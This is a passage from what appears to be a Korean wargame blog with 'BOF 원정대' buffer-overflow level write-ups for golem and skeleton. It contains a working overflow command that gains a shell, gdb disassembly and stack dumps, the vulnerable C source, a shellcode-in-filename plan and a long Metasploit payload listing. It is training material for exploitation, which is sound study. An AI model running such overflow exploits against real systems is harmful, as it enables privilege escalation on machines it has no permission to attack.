0xb1c9294f 0xbffff5e4: 0x1a6f310b 0x831a6f03 0x44e2fcef 0x3f173727 0xbffff5f4: 0x12cf21ea 0x04e82768 0xd49f4441 0xbd3d85f5 (gdb) 0xbffff604: 0x6f22536b 0x8fa56b9c 0xe6c7435c 0x9074b432 0xbffff614: 0xe9299dca 0x004eec2a 0x40013868 0x4000220c 0xbffff624: 0xbffffb47 0x00000000 0x00000000 0x00000000 0xbffff634: 0x00000000 0x40014a00 0x00000000 0x00000000 0xbffff644: 0x00000000 0x00000000 0x00000006 0x00000000 0xbffff654: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff664: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff674: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) q The program is running. Exit anyway? (y or n) y [skeleton@localhost skeleton]$ ./golem `python -c print \u0026#39;A\u0026#39;*44 + \u0026#39;\\x74\\xf5\\xff\\xbf\u0026#39;` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAt bash$ id uid=510(skeleton) gid=510(skeleton) euid=511(golem) egid=511(golem) groups=510(skeleton) bash$ my-pass euid = 511 cup of coffee bash$ ","date":"2010-12-25T18:43:14Z","permalink":"/2010/12/25/bof-%EC%9B%90%EC%A0%95%EB%8C%80-level-11-golem/","title":"BOF 원정대 - Level 11 (golem)"},{"content":"문제 소스는 아래와 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 /* The Lord of the BOF : The Fellowship of the BOF - skeleton - argv hunter */ #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i, saved_argc; if(argc \u0026lt; 2){ printf(argv error\\n); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != \u0026#39;\\xbf\u0026#39;) { printf(stack is still your friend.\\n); exit(0); } // check the length of argument if(strlen(argv[1]) \u0026gt; 48){ printf(argument is too long!\\n); exit(0); } // argc saver saved_argc = argc; strcpy(buffer, argv[1]); printf(%s\\n, buffer); // buffer hunter memset(buffer, 0, 40); // ultra argv hunter! for(i=0; i\u0026lt;saved_argc; i++) memset(argv[i], 0, strlen(argv[i])); } 코드를 보면 환경변수, argv, 버퍼 이렇게 모두 사용할 수 없음을 알 수 있다. 그리고 argv[1][47] 값을 0xbf로 제한하고 있기 때문에 RTL 등의 공격 또한 불가능 하다. 그래서 우선 디버깅을 해보기로 했다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 [vampire@localhost vampire]$ gdb skeleton_tmp GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type show copying to see the conditions. There is absolutely no warranty for GDB. Type show warranty for details. This GDB was configured as i386-redhat-linux... (gdb) disassemble main Dump of assembler code for function main: 0x8048500 \u0026lt;main\u0026gt;: push %ebp 0x8048501 \u0026lt;main+1\u0026gt;: mov %esp,%ebp 0x8048503 \u0026lt;main+3\u0026gt;: sub $0x30,%esp 0x8048506 \u0026lt;main+6\u0026gt;: cmpl $0x1,0x8(%ebp) 0x804850a \u0026lt;main+10\u0026gt;: jg 0x8048523 \u0026lt;main+35\u0026gt; 0x804850c \u0026lt;main+12\u0026gt;: push $0x80486d0 0x8048511 \u0026lt;main+17\u0026gt;: call 0x8048410 \u0026lt;printf\u0026gt; 0x8048516 \u0026lt;main+22\u0026gt;: add $0x4,%esp 0x8048519 \u0026lt;main+25\u0026gt;: push $0x0 0x804851b \u0026lt;main+27\u0026gt;: call 0x8048420 \u0026lt;exit\u0026gt; 0x8048520 \u0026lt;main+32\u0026gt;: add $0x4,%esp 0x8048523 \u0026lt;main+35\u0026gt;: nop 0x8048524 \u0026lt;main+36\u0026gt;: movl $0x0,0xffffffd4(%ebp) 0x804852b \u0026lt;main+43\u0026gt;: nop 0x804852c \u0026lt;main+44\u0026gt;: lea 0x0(%esi,1),%esi 0x8048530 \u0026lt;main+48\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x8048533 \u0026lt;main+51\u0026gt;: lea 0x0(,%eax,4),%edx 0x804853a \u0026lt;main+58\u0026gt;: mov 0x8049804,%eax 0x804853f \u0026lt;main+63\u0026gt;: cmpl $0x0,(%eax,%edx,1) 0x8048543 \u0026lt;main+67\u0026gt;: jne 0x8048547 \u0026lt;main+71\u0026gt; 0x8048545 \u0026lt;main+69\u0026gt;: jmp 0x8048587 \u0026lt;main+135\u0026gt; 0x8048547 \u0026lt;main+71\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x804854a \u0026lt;main+74\u0026gt;: lea 0x0(,%eax,4),%edx 0x8048551 \u0026lt;main+81\u0026gt;: mov 0x8049804,%eax 0x8048556 \u0026lt;main+86\u0026gt;: mov (%eax,%edx,1),%edx 0x8048559 \u0026lt;main+89\u0026gt;: push %edx 0x804855a \u0026lt;main+90\u0026gt;: call 0x80483f0 \u0026lt;strlen\u0026gt; 0x804855f \u0026lt;main+95\u0026gt;: add $0x4,%esp 0x8048562 \u0026lt;main+98\u0026gt;: mov %eax,%eax 0x8048564 \u0026lt;main+100\u0026gt;: push %eax 0x8048565 \u0026lt;main+101\u0026gt;: push $0x0 0x8048567 \u0026lt;main+103\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x804856a \u0026lt;main+106\u0026gt;: lea 0x0(,%eax,4),%edx 0x8048571 \u0026lt;main+113\u0026gt;: mov 0x8049804,%eax 0x8048576 \u0026lt;main+118\u0026gt;: mov (%eax,%edx,1),%edx 0x8048579 \u0026lt;main+121\u0026gt;: push %edx 0x804857a \u0026lt;main+122\u0026gt;: call 0x8048430 \u0026lt;memset\u0026gt; 0x804857f \u0026lt;main+127\u0026gt;: add $0xc,%esp 0x8048582 \u0026lt;main+130\u0026gt;: incl 0xffffffd4(%ebp) ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x8048585 \u0026lt;main+133\u0026gt;: jmp 0x8048530 \u0026lt;main+48\u0026gt; 0x8048587 \u0026lt;main+135\u0026gt;: mov 0xc(%ebp),%eax 0x804858a \u0026lt;main+138\u0026gt;: add $0x4,%eax 0x804858d \u0026lt;main+141\u0026gt;: mov (%eax),%edx 0x804858f \u0026lt;main+143\u0026gt;: add $0x2f,%edx 0x8048592 \u0026lt;main+146\u0026gt;: cmpb $0xbf,(%edx) 0x8048595 \u0026lt;main+149\u0026gt;: je 0x80485b0 \u0026lt;main+176\u0026gt; 0x8048597 \u0026lt;main+151\u0026gt;: push $0x80486dc 0x804859c \u0026lt;main+156\u0026gt;: call 0x8048410 \u0026lt;printf\u0026gt; 0x80485a1 \u0026lt;main+161\u0026gt;: add $0x4,%esp 0x80485a4 \u0026lt;main+164\u0026gt;: push $0x0 0x80485a6 \u0026lt;main+166\u0026gt;: call 0x8048420 \u0026lt;exit\u0026gt; 0x80485ab \u0026lt;main+171\u0026gt;: add $0x4,%esp 0x80485ae \u0026lt;main+174\u0026gt;: mov %esi,%esi 0x80485b0 \u0026lt;main+176\u0026gt;: mov 0xc(%ebp),%eax 0x80485b3 \u0026lt;main+179\u0026gt;: add $0x4,%eax 0x80485b6 \u0026lt;main+182\u0026gt;: mov (%eax),%edx 0x80485b8 \u0026lt;main+184\u0026gt;: push %edx 0x80485b9 \u0026lt;main+185\u0026gt;: call 0x80483f0 \u0026lt;strlen\u0026gt; 0x80485be \u0026lt;main+190\u0026gt;: add $0x4,%esp 0x80485c1 \u0026lt;main+193\u0026gt;: mov %eax,%eax 0x80485c3 \u0026lt;main+195\u0026gt;: cmp $0x30,%eax 0x80485c6 \u0026lt;main+198\u0026gt;: jbe 0x80485e0 \u0026lt;main+224\u0026gt; 0x80485c8 \u0026lt;main+200\u0026gt;: push $0x80486f9 0x80485cd \u0026lt;main+205\u0026gt;: call 0x8048410 \u0026lt;printf\u0026gt; 0x80485d2 \u0026lt;main+210\u0026gt;: add $0x4,%esp 0x80485d5 \u0026lt;main+213\u0026gt;: push $0x0 0x80485d7 \u0026lt;main+215\u0026gt;: call 0x8048420 \u0026lt;exit\u0026gt; 0x80485dc \u0026lt;main+220\u0026gt;: add $0x4,%esp 0x80485df \u0026lt;main+223\u0026gt;: nop 0x80485e0 \u0026lt;main+224\u0026gt;: mov 0x8(%ebp),%eax 0x80485e3 \u0026lt;main+227\u0026gt;: mov %eax,0xffffffd0(%ebp) 0x80485e6 \u0026lt;main+230\u0026gt;: mov 0xc(%ebp),%eax 0x80485e9 \u0026lt;main+233\u0026gt;: add $0x4,%eax 0x80485ec \u0026lt;main+236\u0026gt;: mov (%eax),%edx 0x80485ee \u0026lt;main+238\u0026gt;: push %edx 0x80485ef \u0026lt;main+239\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80485f2 \u0026lt;main+242\u0026gt;: push %eax 0x80485f3 \u0026lt;main+243\u0026gt;: call 0x8048440 \u0026lt;strcpy\u0026gt; 0x80485f8 \u0026lt;main+248\u0026gt;: add $0x8,%esp ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x80485fb \u0026lt;main+251\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x80485fe \u0026lt;main+254\u0026gt;: push %eax 0x80485ff \u0026lt;main+255\u0026gt;: push $0x8048710 0x8048604 \u0026lt;main+260\u0026gt;: call 0x8048410 \u0026lt;printf\u0026gt; 0x8048609 \u0026lt;main+265\u0026gt;: add $0x8,%esp 0x804860c \u0026lt;main+268\u0026gt;: push $0x28 0x804860e \u0026lt;main+270\u0026gt;: push $0x0 0x8048610 \u0026lt;main+272\u0026gt;: lea 0xffffffd8(%ebp),%eax 0x8048613 \u0026lt;main+275\u0026gt;: push %eax 0x8048614 \u0026lt;main+276\u0026gt;: call 0x8048430 \u0026lt;memset\u0026gt; 0x8048619 \u0026lt;main+281\u0026gt;: add $0xc,%esp 0x804861c \u0026lt;main+284\u0026gt;: movl $0x0,0xffffffd4(%ebp) 0x8048623 \u0026lt;main+291\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x8048626 \u0026lt;main+294\u0026gt;: cmp 0xffffffd0(%ebp),%eax 0x8048629 \u0026lt;main+297\u0026gt;: jl 0x8048630 \u0026lt;main+304\u0026gt; 0x804862b \u0026lt;main+299\u0026gt;: jmp 0x8048670 \u0026lt;main+368\u0026gt; 0x804862d \u0026lt;main+301\u0026gt;: lea 0x0(%esi),%esi 0x8048630 \u0026lt;main+304\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x8048633 \u0026lt;main+307\u0026gt;: lea 0x0(,%eax,4),%edx 0x804863a \u0026lt;main+314\u0026gt;: mov 0xc(%ebp),%eax 0x804863d \u0026lt;main+317\u0026gt;: mov (%eax,%edx,1),%edx 0x8048640 \u0026lt;main+320\u0026gt;: push %edx 0x8048641 \u0026lt;main+321\u0026gt;: call 0x80483f0 \u0026lt;strlen\u0026gt; 0x8048646 \u0026lt;main+326\u0026gt;: add $0x4,%esp 0x8048649 \u0026lt;main+329\u0026gt;: mov %eax,%eax 0x804864b \u0026lt;main+331\u0026gt;: push %eax 0x804864c \u0026lt;main+332\u0026gt;: push $0x0 0x804864e \u0026lt;main+334\u0026gt;: mov 0xffffffd4(%ebp),%eax 0x8048651 \u0026lt;main+337\u0026gt;: lea 0x0(,%eax,4),%edx 0x8048658 \u0026lt;main+344\u0026gt;: mov 0xc(%ebp),%eax 0x804865b \u0026lt;main+347\u0026gt;: mov (%eax,%edx,1),%edx 0x804865e \u0026lt;main+350\u0026gt;: push %edx 0x804865f \u0026lt;main+351\u0026gt;: call 0x8048430 \u0026lt;memset\u0026gt; 0x8048664 \u0026lt;main+356\u0026gt;: add $0xc,%esp 0x8048667 \u0026lt;main+359\u0026gt;: incl 0xffffffd4(%ebp) 0x804866a \u0026lt;main+362\u0026gt;: jmp 0x8048623 \u0026lt;main+291\u0026gt; 0x804866c \u0026lt;main+364\u0026gt;: lea 0x0(%esi,1),%esi 0x8048670 \u0026lt;main+368\u0026gt;: leave 0x8048671 \u0026lt;main+369\u0026gt;: ret 0x8048672 \u0026lt;main+370\u0026gt;: nop ---Type \u0026lt;return\u0026gt; to continue, or q \u0026lt;return\u0026gt; to quit--- 0x8048673 \u0026lt;main+371\u0026gt;: nop 0x8048674 \u0026lt;main+372\u0026gt;: nop 0x8048675 \u0026lt;main+373\u0026gt;: nop 0x8048676 \u0026lt;main+374\u0026gt;: nop 0x8048677 \u0026lt;main+375\u0026gt;: nop 0x8048678 \u0026lt;main+376\u0026gt;: nop 0x8048679 \u0026lt;main+377\u0026gt;: nop 0x804867a \u0026lt;main+378\u0026gt;: nop 0x804867b \u0026lt;main+379\u0026gt;: nop 0x804867c \u0026lt;main+380\u0026gt;: nop 0x804867d \u0026lt;main+381\u0026gt;: nop 0x804867e \u0026lt;main+382\u0026gt;: nop 0x804867f \u0026lt;main+383\u0026gt;: nop End of assembler dump. (gdb) b main+369 Junk at end of arguments. (gdb) b *main+369 Breakpoint 1 at 0x8048671 (gdb) r `python -c print \u0026#39;\\xbf\u0026#39;*48` Starting program: /home/vampire/skeleton_tmp `python -c print \u0026#39;\\xbf\u0026#39;*48` Breakpoint 1, 0x8048671 in main () (gdb) x/32wx $esp 0xbffffadc: 0xbfbfbfbf 0x00000000 0xbffffb24 0xbffffb30 0xbffffaec: 0x40013868 0x00000002 0x08048450 0x00000000 0xbffffafc: 0x08048471 0x08048500 0x00000002 0xbffffb24 0xbffffb0c: 0x08048390 0x080486ac 0x4000ae60 0xbffffb1c 0xbffffb1c: 0x40013e90 0x00000002 0xbffffc1d 0xbffffc38 0xbffffb2c: 0x00000000 0xbffffc69 0xbffffc7b 0xbffffc94 0xbffffb3c: 0xbffffcb3 0xbffffcd5 0xbffffce2 0xbffffea5 0xbffffb4c: 0xbffffec4 0xbffffee1 0xbffffef6 0xbfffff15 (gdb) 0xbffffb5c: 0xbfffff20 0xbfffff30 0xbfffff38 0xbfffff49 0xbffffb6c: 0xbfffff53 0xbfffff61 0xbfffff72 0xbfffff80 0xbffffb7c: 0xbfffff8b 0xbfffff9e 0x00000000 0x00000003 0xbffffb8c: 0x08048034 0x00000004 0x00000020 0x00000005 0xbffffb9c: 0x00000006 0x00000006 0x00001000 0x00000007 0xbffffbac: 0x40000000 0x00000008 0x00000000 0x00000009 0xbffffbbc: 0x08048450 0x0000000b 0x000001fd 0x0000000c 0xbffffbcc: 0x000001fd 0x0000000d 0x000001fd 0x0000000e (gdb) 0xbffffbdc: 0x000001fd 0x00000010 0x0febfbff 0x0000000f 0xbffffbec: 0xbffffc18 0x00000000 0x00000000 0x00000000 0xbffffbfc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc0c: 0x00000000 0x00000000 0x00000000 0x36383669 0xbffffc1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc4c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffc5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc7c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc8c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcbc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffccc: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffcdc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffcfc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd0c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd4c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffd5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd7c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd8c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffd9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdbc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdcc: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffddc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffdfc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe0c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe4c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffe5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe7c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe8c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffe9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffeac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffebc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffecc: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbffffedc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffeec: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffefc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff0c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff1c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff2c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff3c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff4c: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbfffff5c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff6c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff7c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff8c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffff9c: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffac: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffbc: 0x00000000 0x00000000 0x00000000 0x00000000 0xbfffffcc: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) 0xbfffffdc: 0x00000000 0x6f682f00 0x762f656d 0x69706d61 0xbfffffec: 0x732f6572 0x656c656b 0x5f6e6f74 0x00706d74 0xbffffffc: 0x00000000 Cannot access memory at address 0xc0000000 (gdb) 0xc0000004: Cannot access memory at address 0xc0000004 (gdb) x/s 0xbfffffdf 0xbfffffdf: \\ (gdb) 0xbfffffe0: \\ (gdb) 0xbfffffe1: /home/vampire/skeleton_tmp (gdb) 0xbffffffc: \\ (gdb) 스택의 마지막 쯤에 파일 경로가 나옴을 확인할 수 있었다. 문제 소스상 argv[0] 값을 지우므로 argv[0]는 아닌것으로 보이며 실제 파일을 실행하는 path가 기록되는 것으로 보인다. 따라서 파일명을 쉘코드로 바꾸어 공격이 가능할 것으로 보인다.\n파일명을 쉘코드로 만들기 위해 가장 간단한 방법은 공격 대상의 바이너리에 심볼릭링크를 거는 것이다. 몇번의 시도 끝에 파일명에 '\\x2f (/)' 가 삽입이 안된다는 사실을 알 수 있었다. 이것을 만족하는 쉘코드가 필요하게 되었다. 그래서 Metasploit에서 쉘코드를 한번 뽑아 보았다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 # # ###### ##### ## #### ##### # #### # ##### ## ## # # # # # # # # # # # # # ## # ##### # # # #### # # # # # # # # # # # ###### # ##### # # # # # # # # # # # # # # # # # # # # # ###### # # # #### # ###### #### # # =[ metasploit v3.6.0-dev [core:3.6 api:1.0] + -- --=[ 638 exploits - 314 auxiliary + -- --=[ 215 payloads - 27 encoders - 8 nops =[ svn r11395 updated today (2010.12.22) msf \u0026gt; show payloads Payloads ======== Name Disclosure Date Rank Description ---- --------------- ---- ----------- aix/ppc/shell_bind_tcp normal AIX Command Shell, Bind TCP Inline aix/ppc/shell_find_port normal AIX Command Shell, Find Port Inline aix/ppc/shell_interact normal AIX execve shell for inetd aix/ppc/shell_reverse_tcp normal AIX Command Shell, Reverse TCP Inline bsd/sparc/shell_bind_tcp normal BSD Command Shell, Bind TCP Inline bsd/sparc/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline bsd/x86/exec normal BSD Execute Command bsd/x86/metsvc_bind_tcp normal FreeBSD Meterpreter Service, Bind TCP bsd/x86/metsvc_reverse_tcp normal FreeBSD Meterpreter Service, Reverse TCP Inline bsd/x86/shell/bind_tcp normal BSD Command Shell, Bind TCP Stager bsd/x86/shell/find_tag normal BSD Command Shell, Find Tag Stager bsd/x86/shell/reverse_tcp normal BSD Command Shell, Reverse TCP Stager bsd/x86/shell_bind_tcp normal BSD Command Shell, Bind TCP Inline bsd/x86/shell_find_port normal BSD Command Shell, Find Port Inline bsd/x86/shell_find_tag normal BSD Command Shell, Find Tag Inline bsd/x86/shell_reverse_tcp normal BSD Command Shell, Reverse TCP Inline bsdi/x86/shell/bind_tcp normal BSDi Command Shell, Bind TCP Stager bsdi/x86/shell/reverse_tcp normal BSDi Command Shell, Reverse TCP Stager bsdi/x86/shell_bind_tcp normal BSDi Command Shell, Bind TCP Inline bsdi/x86/shell_find_port normal BSDi Command Shell, Find Port Inline bsdi/x86/shell_reverse_tcp normal BSDi Command Shell, Reverse TCP Inline cmd/unix/bind_inetd normal Unix Command Shell, Bind TCP (inetd) cmd/unix/bind_netcat normal Unix Command Shell, Bind TCP (via netcat -e) cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via perl) cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby) cmd/unix/generic normal Unix Command, Generic command execution cmd/unix/interact normal Unix Command, Interact with established connection cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet) cmd/unix/reverse_bash normal Unix Command Shell, Reverse TCP (/dev/tcp) cmd/unix/reverse_netcat normal Unix Command Shell, Reverse TCP (via netcat -e) cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via perl) cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby) cmd/windows/adduser normal Windows Execute net user /ADD CMD cmd/windows/bind_perl normal Windows Command Shell, Bind TCP (via perl) cmd/windows/bind_ruby normal Windows Command Shell, Bind TCP (via Ruby) cmd/windows/download_exec_vbs normal Windows Executable Download and Execute (via .vbs) cmd/windows/reverse_perl normal Windows Command, Double reverse TCP connection (via perl) cmd/windows/reverse_ruby normal Windows Command Shell, Reverse TCP (via Ruby) generic/debug_trap normal Generic x86 Debug Trap generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline generic/tight_loop normal Generic x86 Tight Loop java/jsp_shell_bind_tcp normal Java JSP Command Shell, Bind TCP Inline java/jsp_shell_reverse_tcp normal Java JSP Command Shell, Reverse TCP Inline java/meterpreter/bind_tcp normal Java Meterpreter, Java Bind TCP stager java/meterpreter/reverse_tcp normal Java Meterpreter, Java Reverse TCP stager java/shell/bind_tcp normal Command Shell, Java Bind TCP stager java/shell/reverse_tcp normal Command Shell, Java Reverse TCP stager linux/armle/exec normal Linux Execute Command linux/armle/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/mipsbe/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/mipsle/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/ppc/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/ppc/shell_find_port normal Linux Command Shell, Find Port Inline linux/ppc/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/ppc64/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/ppc64/shell_find_port normal Linux Command Shell, Find Port Inline linux/ppc64/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/x86/adduser normal Linux Add User linux/x86/chmod normal Linux Chmod linux/x86/exec normal Linux Execute Command linux/x86/meterpreter/bind_ipv6_tcp normal Linux Meterpreter, Bind TCP Stager (IPv6) linux/x86/meterpreter/bind_tcp normal Linux Meterpreter, Bind TCP Stager linux/x86/meterpreter/find_tag normal Linux Meterpreter, Find Tag Stager linux/x86/meterpreter/reverse_ipv6_tcp normal Linux Meterpreter, Reverse TCP Stager (IPv6) linux/x86/meterpreter/reverse_tcp normal Linux Meterpreter, Reverse TCP Stager linux/x86/metsvc_bind_tcp normal Linux Meterpreter Service, Bind TCP linux/x86/metsvc_reverse_tcp normal Linux Meterpreter Service, Reverse TCP Inline linux/x86/shell/bind_ipv6_tcp normal Linux Command Shell, Bind TCP Stager (IPv6) linux/x86/shell/bind_tcp normal Linux Command Shell, Bind TCP Stager linux/x86/shell/find_tag normal Linux Command Shell, Find Tag Stager linux/x86/shell/reverse_ipv6_tcp normal Linux Command Shell, Reverse TCP Stager (IPv6) linux/x86/shell/reverse_tcp normal Linux Command Shell, Reverse TCP Stager linux/x86/shell_bind_ipv6_tcp normal Linux Command Shell, Bind TCP Inline (IPv6) linux/x86/shell_bind_tcp normal Linux Command Shell, Bind TCP Inline linux/x86/shell_find_port normal Linux Command Shell, Find Port Inline linux/x86/shell_find_tag normal Linux Command Shell, Find Tag Inline linux/x86/shell_reverse_tcp normal Linux Command Shell, Reverse TCP Inline linux/x86/shell_reverse_tcp2 normal Linux Command Shell, Reverse TCP Inline - Metasm demo netware/shell/reverse_tcp normal NetWare Command Shell, Reverse TCP Stager osx/armle/execute/bind_tcp normal OSX Write and Execute Binary, Bind TCP Stager osx/armle/execute/reverse_tcp normal OSX Write and Execute Binary, Reverse TCP Stager osx/armle/shell/bind_tcp normal OSX Command Shell, Bind TCP Stager osx/armle/shell/reverse_tcp normal OSX Command Shell, Reverse TCP Stager osx/armle/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline osx/armle/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline osx/armle/vibrate normal OSX iPhone Vibrate osx/ppc/shell/bind_tcp normal OSX Command Shell, Bind TCP Stager osx/ppc/shell/find_tag normal OSX Command Shell, Find Tag Stager osx/ppc/shell/reverse_tcp normal OSX Command Shell, Reverse TCP Stager osx/ppc/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline osx/ppc/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline osx/x86/bundleinject/bind_tcp normal Mac OS X Inject Mach-O Bundle, Bind TCP Stager osx/x86/bundleinject/reverse_tcp normal Mac OS X Inject Mach-O Bundle, Reverse TCP Stager osx/x86/exec normal OSX Execute Command osx/x86/isight/bind_tcp normal Mac OS X x86 iSight photo capture, Bind TCP Stager osx/x86/isight/reverse_tcp normal Mac OS X x86 iSight photo capture, Reverse TCP Stager osx/x86/shell_bind_tcp normal OSX Command Shell, Bind TCP Inline osx/x86/shell_find_port normal OSX Command Shell, Find Port Inline osx/x86/shell_reverse_tcp normal OSX Command Shell, Reverse TCP Inline 